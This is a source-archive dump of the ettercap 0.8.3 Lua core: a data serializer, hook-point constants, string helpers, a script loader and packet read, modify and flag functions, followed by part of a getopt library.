k in pairs(t) do res[#res+1] = k end table.sort(res, cmpfct) return res end local c_functions = {} for _,lib in pairs{'_G', 'string', 'table', 'math', 'io', 'os', 'coroutine', 'package', 'debug'} do local t = _G[lib] or {} lib = lib .. "." if lib == "_G." then lib = "" end for k,v in pairs(t) do if type(v) == 'function' and not pcall(string.dump, v) then c_functions[v] = lib..k end end end function DataDumper(value, varname, fastmode, ident) local defined, dumplua = {} -- Local variables for speed optimization local string_format, type, string_dump, string_rep = string.format, type, string.dump, string.rep local tostring, pairs, table_concat = tostring, pairs, table.concat local keycache, strvalcache, out, closure_cnt = {}, {}, {}, 0 setmetatable(strvalcache, {__index = function(t,value) local res = string_format('%q', value) t[value] = res return res end}) local fcts = { string = function(value) return strvalcache[value] end, number = function(value) return value end, boolean = function(value) return tostring(value) end, ['nil'] = function(value) return 'nil' end, ['function'] = function(value) return string_format("loadstring(%q)", string_dump(value)) end, userdata = function() error("Cannot dump userdata") end, thread = function() error("Cannot dump threads") end, } local function test_defined(value, path) if defined[value] then if path:match("^getmetatable.*%)$") then out[#out+1] = string_format("s%s, %s)\n", path:sub(2,-2), defined[value]) else out[#out+1] = path .. " = " .. defined[value] .. "\n" end return true end defined[value] = path end local function make_key(t, key) local s if type(key) == 'string' and key:match('^[_%a][_%w]*$') then s = key .. "=" else s = "[" .. dumplua(key, 0) .. "]=" end t[key] = s return s end for _,k in ipairs(lua_reserved_keywords) do keycache[k] = '["'..k..'"] = ' end if fastmode then fcts.table = function (value) -- Table value local numidx = 1 out[#out+1] = "{" for key,val in pairs(value) do if key == numidx then numidx = numidx + 1 else out[#out+1] = keycache[key] end local str = dumplua(val) out[#out+1] = str.."," end if string.sub(out[#out], -1) == "," then out[#out] = string.sub(out[#out], 1, -2); end out[#out+1] = "}" return "" end else fcts.table = function (value, ident, path) if test_defined(value, path) then return "nil" end -- Table value local sep, str, numidx, totallen = " ", {}, 1, 0 local meta, metastr = (debug or getfenv()).getmetatable(value) if meta then ident = ident + 1 metastr = dumplua(meta, ident, "getmetatable("..path..")") totallen = totallen + #metastr + 16 end for _,key in pairs(keys(value)) do local val = value[key] local s = "" local subpath = path if key == numidx then subpath = subpath .. "[" .. numidx .. "]" numidx = numidx + 1 else s = keycache[key] if not s:match "^%[" then subpath = subpath .. "." end subpath = subpath .. s:gsub("%s*=%s*$","") end s = s .. dumplua(val, ident+1, subpath) str[#str+1] = s totallen = totallen + #s + 2 end if totallen > 80 then sep = "\n" .. string_rep(" ", ident+1) end str = "{"..sep..table_concat(str, ","..sep).." "..sep:sub(1,-3).."}" if meta then sep = sep:sub(1,-3) return "setmetatable("..sep..str..","..sep..metastr..sep:sub(1,-3)..")" end return str end fcts['function'] = function (value, ident, path) if test_defined(value, path) then return "nil" end if c_functions[value] then return c_functions[value] elseif debug == nil or debug.getupvalue(value, 1) == nil then return string_format("loadstring(%q)", string_dump(value)) end closure_cnt = closure_cnt + 1 local res = {string.dump(value)} for i = 1,math.huge do local name, v = debug.getupvalue(value,i) if name == nil then break end res[i+1] = v end return "closure " .. dumplua(res, ident, "closures["..closure_cnt.."]") end end function dumplua(value, ident, path) return fcts[type(value)](value, ident, path) end if varname == nil then varname = "return " elseif varname:match("^[%a_][%w_]*$") then varname = varname .. " = " end if fastmode then setmetatable(keycache, {__index = make_key }) out[1] = varname table.insert(out,dumplua(value, 0)) return table.concat(out) else setmetatable(keycache, {__index = make_key }) local items = {} for i=1,10 do items[i] = '' end items[3] = dumplua(value, ident or 0, "t") if closure_cnt > 0 then items[1], items[6] = dumplua_closure:match("(.*\n)\n(.*)") out[#out+1] = "" end if #out > 0 then items[2], items[4] = "local t = ", "\n" items[5] = table.concat(out) items[7] = varname .. "t" else items[2] = varname end return table.concat(items) end end ettercap-0.8.3/src/lua/share/core/CMakeLists.txt0000644000175000017500000000061113505247364021334 0ustar koeppeakoeppeainstall(FILES dumper.lua ettercap.lua ettercap_ffi.lua ettercap_reg.lua hook_points.lua packet.lua packet_meta.lua shortpacket.lua shortsession.lua eclib.lua http.lua base64.lua ec_string.lua DESTINATION ${INSTALL_LUA_CORE}) ettercap-0.8.3/src/lua/share/core/hook_points.lua0000644000175000017500000001437413505247364021646 0ustar koeppeakoeppea--- -- Provides hook point values for those setting up ettercap lua scripts. -- -- These values are defined in include/ec_hook.h, so this module will need -- to be updated if that file ever changes! -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. -- -- @module hook_points --- @usage local usage = [[ ... hook_point = ettercap.hook_points.tcp ... ]] local ffi = require("ettercap_ffi") local hook_points = {} --- All raw packets, prior to any dissecting. --
Defined in include/ec_hook.h as HOOK_RECEIVED hook_points.packet_received = ffi.C.HOOK_RECEIVED --- All packets, after protocol dissecting has been done. --
Defined in include/ec_hook.h as HOOK_DECODED hook_points.protocol_decoded = ffi.C.HOOK_DECODED --- Packets, just prior to being forwarded (if it has to be forwarded). --
Defined in include/ec_hook.h as HOOK_PRE_FORWARD hook_points.pre_forward = ffi.C.HOOK_PRE_FORWARD --- Packets at the top of the stack, but before the decision of PO_INGORE. --
Defined in include/ec_hook.h as HOOK_HANDLED hook_points.handled = ffi.C.HOOK_HANDLED --- All packets at the content filtering point. --
Defined in include/ec_hook.h as HOOK_FILTER hook_points.filter = ffi.C.HOOK_FILTER --- Packets in the TOP HALF (the packet is a copy). --
Defined in include/ec_hook.h as HOOK_DISPATCHER hook_points.dispatcher = ffi.C.HOOK_DISPATCHER --- Any ethernet packet. --
Defined in include/ec_hook.h as HOOK_PACKET_ETH hook_points.eth = ffi.C.HOOK_PACKET_ETH --- Any FDDI packet. --
Defined in include/ec_hook.h as HOOK_PACKET_FDDI hook_points.fddi = ffi.C.HOOK_PACKET_FDDI --- Any token ring packet. --
Defined in include/ec_hook.h as HOOK_PACKET_TR hook_points.token_ring = ffi.C.HOOK_PACKET_TR --- Any wifi packet. --
Defined in include/ec_hook.h as HOOK_PACKET_WIFI hook_points.wifi = ffi.C.HOOK_PACKET_WIFI --- Any ARP packet. --
Defined in include/ec_hook.h as HOOK_PACKET_ARP hook_points.arp = ffi.C.HOOK_PACKET_ARP --- ARP requests. --
Defined in include/ec_hook.h as HOOK_PACKET_ARP_RQ hook_points.arp_request = ffi.C.HOOK_PACKET_ARP_RQ --- ARP replies. --
Defined in include/ec_hook.h as HOOK_PACKET_ARP_RP hook_points.arp_reply = ffi.C.HOOK_PACKET_ARP_RP --- Any IP packet. --
Defined in include/ec_hook.h as HOOK_PACKET_IP hook_points.ip = ffi.C.HOOK_PACKET_IP --- Any IPv6 packet. --
Defined in include/ec_hook.h as HOOK_PACKET_IP6 hook_points.ipv6 = ffi.C.HOOK_PACKET_IP6 --- Any VLAN packet. --
Defined in include/ec_hook.h as HOOK_PACKET_VLAN hook_points.vlan = ffi.C.HOOK_PACKET_VLAN --- Any UDP packet. --
Defined in include/ec_hook.h as HOOK_PACKET_UDP hook_points.udp = ffi.C.HOOK_PACKET_UDP --- Any TCP packet. --
Defined in include/ec_hook.h as HOOK_PACKET_TCP hook_points.tcp = ffi.C.HOOK_PACKET_TCP --- Any ICMP packet. --
Defined in include/ec_hook.h as HOOK_PACKET_ICMP hook_points.icmp = ffi.C.HOOK_PACKET_ICMP --- Any GRE packet. --
Defined in include/ec_hook.h as HOOK_PACKET_GRE hook_points.gre = ffi.C.HOOK_PACKET_GRE --- Any ICMP6 packet. --
Defined in include/ec_hook.h as HOOK_PACKET_ICMP6 hook_points.icmp6 = ffi.C.HOOK_PACKET_ICMP6 --- ICMP6 Neighbor Discovery packets. --
Defined in include/ec_hook.h as HOOK_PACKET_ICMP6_NSOL hook_points.icmp6_nsol = ffi.C.HOOK_PACKET_ICMP6_NSOL --- ICMP6 Nieghbor Advertisement packets. --
Defined in include/ec_hook.h as HOOK_PACKET_ICMP6_NADV hook_points.icmp6_nadv = ffi.C.HOOK_PACKET_ICMP6_NADV --- PPP link control protocol packets. --
Defined in include/ec_hook.h as HOOK_PACKET_LCP hook_points.lcp = ffi.C.HOOK_PACKET_LCP --- PPP encryption control protocol packets. --
Defined in include/ec_hook.h as HOOK_PACKET_ECP hook_points.ecp = ffi.C.HOOK_PACKET_ECP --- PPP IP control protocol packets. --
Defined in include/ec_hook.h as HOOK_PACKET_IPCP hook_points.ipcp = ffi.C.HOOK_PACKET_IPCP --- Any PPP packet. --
Defined in include/ec_hook.h as HOOK_PACKET_PPP hook_points.ppp = ffi.C.HOOK_PACKET_PPP --- Any ESP packet. --
Defined in include/ec_hook.h as HOOK_PROTO_ESP hook_points.esp = ffi.C.HOOK_PACKET_ESP --- Any SMB packet. --
Defined in include/ec_hook.h as HOOK_PROTO_SMB hook_points.smb = ffi.C.HOOK_PROTO_SMB --- SMB challenge packets. --
Defined in include/ec_hook.h as HOOK_PROTO_SMB_CHL hook_points.smb_challenge = ffi.C.HOOK_PROTO_SMB_CHL --- SMB negotiation complete. --
Defined in include/ec_hook.h as HOOK_PROTO_SMB_CMPLT hook_points.smb_complete = ffi.C.HOOK_PROTO_SMB_CMPLT --- DHCP request packets. --
Defined in include/ec_hook.h as HOOK_PROTO_DHCP_REQUEST hook_points.dhcp_request = ffi.C.HOOK_PROTO_DHCP_REQUEST --- DHCP discovery packets. --
Defined in include/ec_hook.h as HOOK_PROTO_DHCP_DISCOVER hook_points.dhcp_discover = ffi.C.HOOK_PROTO_DHCP_DISCOVER --- Any DNS packet. --
Defined in include/ec_hook.h as HOOK_PROTO_DNS hook_points.dns = ffi.C.HOOK_PROTO_DNS --- Any NBNS packet. --
Defined in include/ec_hook.h as HOOK_PROTO_NBNS hook_points.nbns = ffi.C.HOOK_PROTO_NBNS --- *Some* HTTP packets. --
Defined in include/ec_hook.h as HOOK_PROTO_HTTP -- See src/dissectors/ec_http.c. hook_points.http = ffi.C.HOOK_PROTO_HTTP -- Commented out.. Unsure if this should ever be exposed to LUA... -- dhcp_profile = ffi.C.HOOK_PROTO_DHCP_PROFILE, -- DHCP profile ? return hook_points ettercap-0.8.3/src/lua/share/core/eclib.lua0000644000175000017500000000500613505247364020360 0ustar koeppeakoeppea--- -- Some helper functions -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --- Basic Split taken from http://lua-users.org/wiki/SplitJoin -- @param str -- @param pat -- @return table split = function(str, pat) local t = {} -- NOTE: use {n = 0} in Lua-5.0 local fpat = "(.-)" .. pat local last_end = 1 local s, e, cap = str:find(fpat, 1) while s do if s ~= 1 or cap ~= "" then table.insert(t,cap) end last_end = e+1 s, e, cap = str:find(fpat, last_end) end if last_end <= #str then cap = str:sub(last_end) table.insert(t, cap) end return t end ---Returns a string representation of a hex dump of a string (containing binary bytes even zero) hexdump = function(s) local manLine="" --human readable format of the current line local hexLine="" --hexadecimal representation of the current line local address=0 --the address where the current line starts local LINE_LENGTH=16 --how many characters per line? local ADDRESS_LENGTH=4 --how many characters for the address part? local ret="" if not hex then hex={} local digit={[0]="0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"} for i=0,15 do for j=0,15 do hex[i*16+j]=digit[i]..digit[j] end end end for i=1,s:len() do local ch=s:sub(i,i) if ch:find("%c") then ch="." end--if ch is a control character, assign some default value to it manLine=manLine..ch hexLine=hexLine..hex[s:byte(i)].." " if (i % LINE_LENGTH)==0 or i==s:len() then --print(string.format("%04u | %-48s | %s",address,hexLine,manLine)) ret=ret..string.format("%0"..ADDRESS_LENGTH.."u | %-"..3*LINE_LENGTH.."s| %s\n",address,hexLine,manLine) manLine,hexLine="","" address=i end end return ret end local eclib = {} eclib.split = split eclib.hexdump = hexdump return eclib ettercap-0.8.3/src/lua/share/core/shortpacket.lua0000644000175000017500000000250513505247364021632 0ustar koeppeakoeppea--- -- Like that of shortport in the nselib, shortpacket is designed to provide a -- way to easily generate packetrules. -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. local packet = require("packet") --- Inspects packet_object.DATA.data to see if it begins with the specified string. -- @param str (string) -- @return function(packet_object) data_starts_with = function(str) len = string.len(str) return(function(packet_object) return(packet.read_data(packet_object, len) == str) end) end local shortpacket = {} shortpacket.data_starts_with = data_starts_with return shortpacket ettercap-0.8.3/src/lua/share/core/ettercap.lua0000644000175000017500000002272213505247364021115 0ustar koeppeakoeppea--- -- Basic ettercap functionality! -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License along -- with this program; if not, write to the Free Software Foundation, Inc., -- 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -- -- All of our core stuff will reside in the "ettercap" namespace. ettercap = {} local ffi = require("ettercap_ffi") require('packet_meta') local ettercap_c = require("ettercap_c") local eclib = require("eclib") local op = require('io') ettercap.reg = require("ettercap_reg") --- Log's a message using ettercap's ui_msg function. -- @see string.format -- @param fmt The format string -- @param ... Variable arguments to pass in log = function(fmt, ...) -- We don't want any format string "accidents" on the C side of things.. -- so, we will let lua handle it. ettercap_c.log(string.format(fmt, ...)) end file_exists = function(filename) local msg = nil local fio, errmsg, errno = io.open(filename, "r") if fio then fio:close() return true end assert(errno == 2, "Could not open '" .. filename .. "': " .. errmsg) return false end require('dumper') --- Dumps data structure(s) to log -- @param ... The data to dump! dump = function (...) log(DataDumper(...), "\n---") end -- Script interface -- -- All Ettercap LUA scripts are initialized using a common interface. We've -- modeled this interface very closely after that of NMAP's NSE script -- interface. Our hope is that the community's familiarity with NSE will -- lower the barrier for entry for those looking to write Ettercap LUA -- scripts. -- -- -- Data structures: -- packet_object - Access to the Ettercap "packet_object" (originally -- defined in include/ec_packet.h) is provided via a -- light luajit FFI wrapper. Details on interacting with -- data-types via luajit FFI can be found here: -- http://luajit.org/ext_ffi_semantics.html. -- -- Generally, script implementations should avoid direct -- modifications to packet_object, or any FFI wrapped -- structure, instead favoring modification through -- defined ettercap.* interfaces. -- -- NOTE: Careful consideration must be taken to when -- interacting with FFI-wrapped data-structures! Data -- originating from outside of the LUA VM must have their -- memory managed *manually*! See the section of luajit's -- FFI Semantics on "Garbage Collection of cdata Objects" -- for details. -- -- -- Script requirements: -- -- description - (string) Like that of NSE, each script must have a -- description of the its functionality. -- -- action - (function (packet_object)) The action of a script operates -- on a FFI-wrapped packet_object. -- -- Optional: -- -- packetrule - (function (packet_object)) If implemented, then this -- function must return true for a given packet_object -- before that packet_object is passed to the script's action. -- local Script = {} do local coroutine = require "coroutine"; local debug = require "debug"; local traceback = debug.traceback; local ETTERCAP_SCRIPT_RULES = { packetrule = "packetrule", }; -- These are the components of a script that are required. local REQUIRED_FIELDS = { description = "string", action = "function", -- categories = "table", -- dependencies = "table", }; function Script.new (filename, arguments) local script_params = arguments or {}; local script_path = filename local full_path = ETTERCAP_LUA_SCRIPT_PATH .. "/" .. filename; local file_closure = nil if file_exists(filename) == true then file_closure = assert(loadfile(filename)) script_path = filename elseif file_exists(full_path) == true then file_closure = assert(loadfile(full_path)) script_path = full_path else log("ERROR: Could not find script '%s'\n", filename) return nil end local env = { SCRIPT_PATH = script_path, dependencies = {}, }; -- No idea what this does. setmetatable(env, {__index = _G}); setfenv(file_closure, env); local co = coroutine.create(file_closure); -- Create a garbage thread local status, e = coroutine.resume(co); -- Get the globals it loads in env if not status then log("Failed to load %s:\n%s", filename, traceback(co, e)); --error("could not load script"); return nil end for required_field_name in pairs(REQUIRED_FIELDS) do local required_type = REQUIRED_FIELDS[required_field_name]; local raw_field = rawget(env, required_field_name) local actual_type = type(raw_field); assert(actual_type == required_type, "Incorrect of missing field: '" .. required_field_name .. "'." .. " Must be of type: '" .. required_type .. "'" .. " got type: '" .. actual_type .. "'." .. " Script: '" .. env["SCRIPT_PATH"] .. "'" ); end -- Check our rules.... local rules = {}; for rule in pairs(ETTERCAP_SCRIPT_RULES) do local rulef = rawget(env, rule); assert(type(rulef) == "function" or rulef == nil, rule.." must be a function!"); rules[rule] = rulef; end local action = env["action"]; -- Make sure we have a hook_point! local hook_point = rawget(env, "hook_point") assert(type(hook_point) == "number", "hook_point must be a number!") local script = { filename = filename, action = action, rules = rules, hook_point = hook_point, env = env, file_closure = file_closure, script_params = script_params }; return setmetatable(script, {__index = Script, __metatable = Script}); end end -- Stores hook mappings. --- Called during ettercap's shutdown local ettercap_cleanup = function() end local packet_object_ctype = ffi.typeof("struct packet_object *") local ffi_cast = ffi.cast local create_hook = function(script) local packetrule = script.rules["packetrule"] local hook_func = function(packet_object_ptr) local packet_object = ffi_cast(packet_object_ctype, packet_object_ptr); if (not(packetrule == nil)) then if not(packetrule(packet_object) == true) then return false end end script.action(packet_object) end return(hook_func) end -- Adds a hook local hook_add = function (hook_point, func) ettercap_c.hook_add(hook_point, func) end -- Processes all the --lua-script arguments into a single list of script -- names. -- -- @param scripts An array of script cli arguments -- @return A table containing all the split arguments local cli_split_scripts = function (scripts) -- This keeps track of what script names have already been encountered. -- This prevents us from loading the same script more than once. local loaded_scripts = {} local ret = {} for v = 1, #scripts do local s = scripts[v] local script_list = eclib.split(s, ",") for i = 1, #script_list do if (loaded_scripts[script_list[i]] == nil) then -- We haven't loaded this script, yet, so add it it our list. table.insert(ret, script_list[i]) loaded_scripts[script_list[i]] = 1 end end end return ret end -- Processes all the --lua-args arguments into a single list of args -- names. -- -- @param args An array of args cli arguments -- @return A table containing all the split arguments local cli_split_args = function (args) local ret = {} for v = 1, #args do local s = args[v] local arglist = eclib.split(s, ",") for i = 1, #arglist do -- We haven't loaded this args, yet, so add it it our list. local temp = eclib.split(arglist[i],"=") ret[temp[1]] = temp[2] end end return ret end -- Loads a script. -- -- @param name (string) The name of the script we want to load. -- @param args (table) A table of key,value tuples local ettercap_load_script = function (name, args) local script = assert(Script.new(name, args), "Failed to load: " .. name) hook_add(script.hook_point, create_hook(script)) end -- Primary entry point for ettercap lua environment -- @param lua_scripts Array of CLI script strings -- @param lua_args Array of CLI argument strings local ettercap_main = function (lua_scripts, lua_args) local scripts = cli_split_scripts(lua_scripts) local args = cli_split_args(lua_args) for i = 1, #scripts do ettercap_load_script(scripts[i], args) end end -- C -> LUA api functions. These should never be called from scripts! ettercap.main = ettercap_main ettercap.cleanup = ettercap_cleanup -- Global functions ettercap.log = log ettercap.dump = dump -- Is this even nescessary? Nobody should be requiring this except for -- init.lua... However, I'll act like this is required. return ettercap ettercap-0.8.3/src/lua/share/core/packet.lua0000644000175000017500000001150013505247364020545 0ustar koeppeakoeppea--- Packet manipulation functions -- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. local ffi = require("ettercap_ffi") local bit = require('bit') local addr_buffer_type = ffi.typeof("char[46]") function ip_to_str(ip_addr) local addr_buffer = addr_buffer_type() return(ffi.string(ffi.C.ip_addr_ntoa(ip_addr, addr_buffer))) end --- Gets the src ip, if any, from the packet. -- @param packet_object -- @return string version of IP, or nil src_ip = function(packet_object) local L3 = packet_object.L3 if L3 and L3.src then return ip_to_str(L3.src) end return nil end --- Gets the dst ip, if any, from the packet. -- @param packet_object -- @return string version of IP, or nil dst_ip = function(packet_object) local L3 = packet_object.L3 if L3 and L3.dst then return ip_to_str(L3.dst) end return nil end src_port = function(packet_object) local L4 = packet_object.L4 if L4 and L4.src then return ffi.C.ntohs(L4.src) end return nil end dst_port = function(packet_object) local L4 = packet_object.L4 if L4 and L4.dst then return ffi.C.ntohs(L4.dst) end return nil end --- Returns up to length bytes of the decoded packet DATA section -- @param packet_object -- @param length If specified, will return up to that many bytes of the packet -- data -- @return string read_data = function(packet_object, length) -- Default to the length of the bytes. if (length == nil) then length = packet_object.DATA.len end -- Ensure that we don't read too much data. if (length > packet_object.DATA.len) then length = packet_object.DATA.len end return ffi.string(packet_object.DATA.data, length) end --- Flags the packet as having been modified. -- @param packet_object -- @param integer set_flag = function(po, flag) po.flags = bit.bor(po.flags, flag) end set_dropped = function(po) set_flag(po, ffi.C.PO_DROPPED) end set_modified = function(po) set_flag(po, ffi.C.PO_MODIFIED) end is_dropped = function(po) return bit.band(po.flags, ffi.C.PO_DROPPED) end is_forwardable = function(po) return bit.band(po.flags, ffi.C.PO_FORWARDABLE) end is_forwarded = function(po) return bit.band(po.flags, ffi.C.PO_FORWARDED) end is_from_ssl = function(po) return bit.band(po.flags, ffi.C.PO_FROMSSL) end is_modified = function(po) return bit.band(po.flags, ffi.C.PO_MODIFIED) end is_ssl_start = function(po) return bit.band(po.flags, ffi.C.PO_SSLSTART) end --- Sets the packet data to data, as well as flags the packet as modified. -- @param packet_object -- @param data (string) The new data set_data = function(packet_object, data) local len = string.len(data) if len > packet_object.DATA.len then len = packet_object.DATA.len end ffi.copy(packet_object.DATA.data, data, string.len(data)) set_modified(packet_object) end --- Inspects the packet to see if it is TCP. -- @param packet_object -- @return true or false is_tcp = function(packet_object) return (packet_object.L4 and packet_object.L4.proto == 6) end --- Inspects the packet to see if it is UDP. -- @param packet_object -- @return true or false is_udp = function(packet_object) return (packet_object.L4 and packet_object.L4.proto == 17) end --- Shortcut for telling us if the packet has data (or not) -- @param packet_object -- @return true or false has_data = function(packet_object) return (not (packet_object.DATA == nil) and packet_object.DATA.len > 0) end -- @return string like "1.2.3.4:1234 -> 8.8.8.8:53" l4_summary = function(po) return string.format("%s:%s -> %s:%s", packet.src_ip(po), packet.src_port(po), packet.dst_ip(po), packet.dst_port(po)) end -- Define all the fun little methods. local packet = { read_data = read_data, set_data = set_data, is_tcp = is_tcp, is_udp = is_udp, l4_summary = l4_summary, set_dropped = set_dropped, set_modified = set_modified, is_dropped = is_dropped, is_forwardable = is_forwardable, is_forwarded = is_forwarded, is_from_ssl = is_from_ssl, is_modified = is_modified, is_ssl_start = is_ssl_start, has_data = has_data, src_ip = src_ip, dst_ip = dst_ip, src_port = src_port, dst_port = dst_port } return packet ettercap-0.8.3/src/lua/share/CMakeLists.txt0000644000175000017500000000043113505247364020404 0ustar koeppeakoeppeaadd_subdirectory(core) add_subdirectory(lib) add_subdirectory(scripts) add_subdirectory(third-party) configure_file(${CMAKE_CURRENT_SOURCE_DIR}/init.lua.in ${CMAKE_CURRENT_BINARY_DIR}/init.lua) install(FILES ${CMAKE_CURRENT_BINARY_DIR}/init.lua DESTINATION ${INSTALL_LUA_ROOT}) ettercap-0.8.3/src/lua/share/lib/0000755000175000017500000000000013505247364016414 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/lib/CMakeLists.txt0000644000175000017500000000015713505247364021157 0ustar koeppeakoeppea# Nothing to install, just yet! # install(FILES # ... # DESTINATION ${INSTALL_LUA_LIBS}) ettercap-0.8.3/src/lua/share/third-party/0000755000175000017500000000000013505247364020115 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/third-party/stdlib/0000755000175000017500000000000013505247364021376 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/third-party/stdlib/src/0000755000175000017500000000000013505247364022165 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/third-party/stdlib/src/.gitignore0000755000175000017500000000006113505247364024155 0ustar koeppeakoeppea/std.lua /luadoc.css /index.html /files /modules ettercap-0.8.3/src/lua/share/third-party/stdlib/src/getopt.lua0000644000175000017500000002064513505247364024201 0ustar koeppeakoeppea--- Simplified getopt, based on Svenne Panne's Haskell GetOpt.
-- Usage: --
    --
  • prog = {< -- name = , -- [usage = ,] -- [options = { -- {{[, ...]}, , [ [, ]]}, -- ... -- },] -- [banner = ,] -- [purpose = ,] -- [notes = ] -- }
  • --
  • The type of option argument is one of Req(uired), -- Opt(ional)
  • --
  • The varis a descriptive name for the option argument.
  • --
  • getopt.processArgs (prog)
  • --
  • Options take a single dash, but may have a double dash.
  • --
  • Arguments may be given as -opt=arg or -opt arg.
  • --
  • If an option taking an argument is given multiple times, only the -- last value is returned; missing arguments are returned as 1.
  • --
-- getOpt, usageInfo and usage can be called directly (see -- below, and the example at the end). Set _DEBUG.std to a non-nil -- value to run the example. --
    --
  • TODO: Wrap all messages; do all wrapping in processArgs, not -- usageInfo; use sdoc-like library (see string.format todos).
  • --
  • TODO: Don't require name to be repeated in banner.
  • --
  • TODO: Store version separately (construct banner?).
  • --
require "base" local list = require "list" require "string_ext" local Object = require "object" local M = { opt = {}, } --- Perform argument processing -- @param argIn list of command-line args -- @param options options table -- @param stop_at_nonopt if true, stop option processing at first non-option -- @return table of remaining non-options -- @return table of option key-value list pairs -- @return table of error messages local function getOpt (argIn, options, stop_at_nonopt) local noProcess = nil local argOut, optOut, errors = {[0] = argIn[0]}, {}, {} -- get an argument for option opt local function getArg (o, opt, arg, oldarg) if o.type == nil then if arg ~= nil then table.insert (errors, "option `" .. opt .. "' doesn't take an argument") end else if arg == nil and argIn[1] and string.sub (argIn[1], 1, 1) ~= "-" then arg = argIn[1] table.remove (argIn, 1) end if arg == nil and o.type == "Req" then table.insert (errors, "option `" .. opt .. "' requires an argument `" .. o.var .. "'") return nil end end return arg or 1 -- make sure arg has a value end local function parseOpt (opt, arg) local o = options.name[opt] if o ~= nil then o = o or {name = {opt}} optOut[o.name[1]] = optOut[o.name[1]] or {} table.insert (optOut[o.name[1]], getArg (o, opt, arg, optOut[o.name[1]])) else table.insert (errors, "unrecognized option `-" .. opt .. "'") end end while argIn[1] do local v = argIn[1] table.remove (argIn, 1) local _, _, dash, opt = string.find (v, "^(%-%-?)([^=-][^=]*)") local _, _, arg = string.find (v, "=(.*)$") if not dash and stop_at_nonopt then noProcess = true end if v == "--" then noProcess = true elseif not dash or noProcess then -- non-option table.insert (argOut, v) else -- option parseOpt (opt, arg) end end return argOut, optOut, errors end -- Object that defines a single Option entry. local Option = Object {_init = {"name", "desc", "type", "var"}} --- Options table constructor: adds lookup tables for the option names local function makeOptions (t) local options, name = {}, {} local function appendOpt (v, nodupes) local dupe = false v = Option (v) for s in list.elems (v.name) do if name[s] then dupe = true end name[s] = v end if not dupe or nodupes ~= true then if dupe then warn ("duplicate option '%s'", s) end for s in list.elems (v.name) do name[s] = v end options = list.concat (options, {v}) end end for v in list.elems (t or {}) do appendOpt (v) end -- Unless they were supplied already, add version and help options appendOpt ({{"version", "V"}, "print version information, then exit"}, true) appendOpt ({{"help", "h"}, "print this help, then exit"}, true) options.name = name return options end --- Produce usage info for the given options -- @param header header string -- @param optDesc option descriptors -- @param pageWidth width to format to [78] -- @return formatted string local function usageInfo (header, optDesc, pageWidth) pageWidth = pageWidth or 78 -- Format the usage info for a single option -- @param opt the option table -- @return options -- @return description local function fmtOpt (opt) local function fmtName (o) return (#o > 1 and "--" or "-") .. o end local function fmtArg () if opt.type == nil then return "" elseif opt.type == "Req" then return "=" .. opt.var else return "[=" .. opt.var .. "]" end end local textName = list.reverse (list.map (fmtName, opt.name)) textName[#textName] = textName[#textName] .. fmtArg () local indent = "" if #opt.name == 1 and #opt.name[1] > 1 then indent = " " end return {indent .. table.concat ({table.concat (textName, ", ")}, ", "), opt.desc} end local function sameLen (xs) local n = math.max (unpack (list.map (string.len, xs))) for i, v in pairs (xs) do xs[i] = string.sub (v .. string.rep (" ", n), 1, n) end return xs, n end local function paste (x, y) return " " .. x .. " " .. y end local function wrapper (w, i) return function (s) return string.wrap (s, w, i, 0) end end local optText = "" if #optDesc > 0 then local cols = list.transpose (list.map (fmtOpt, optDesc)) local width cols[1], width = sameLen (cols[1]) cols[2] = list.map (wrapper (pageWidth, width + 4), cols[2]) optText = "\n\n" .. table.concat (list.mapWith (paste, list.transpose ({sameLen (cols[1]), cols[2]})), "\n") end return header .. optText end --- Emit a usage message. -- @param prog table of named parameters local function usage (prog) local usage = "[OPTION]... [FILE]..." local purpose, description, notes = "", "", "" if 